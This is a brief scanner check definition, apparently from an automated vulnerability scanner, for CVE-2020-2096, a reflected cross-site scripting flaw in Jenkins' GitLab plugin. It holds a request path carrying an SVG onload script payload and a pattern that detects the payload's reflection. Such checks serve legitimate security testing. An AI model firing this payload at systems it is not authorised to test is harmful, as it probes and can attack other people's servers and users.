|
AUTHOR='@xer0dayz'
|
|
VULN_NAME='CVE-2020-2096 Jenkins Gitlab XSS 1'
|
|
URI="/git/build_now/a'\">%3Csvg/onload=alert(1337)%3E"
|
|
METHOD='GET'
|
|
MATCH="<svg/onload=alert\(1337\)>"
|
|
SEVERITY='P3 - MEDIUM'
|
|
CURL_OPTS="--user-agent '' -s -L --insecure"
|
|
SECONDARY_COMMANDS=''
|
|
GREP_OPTIONS='-i' |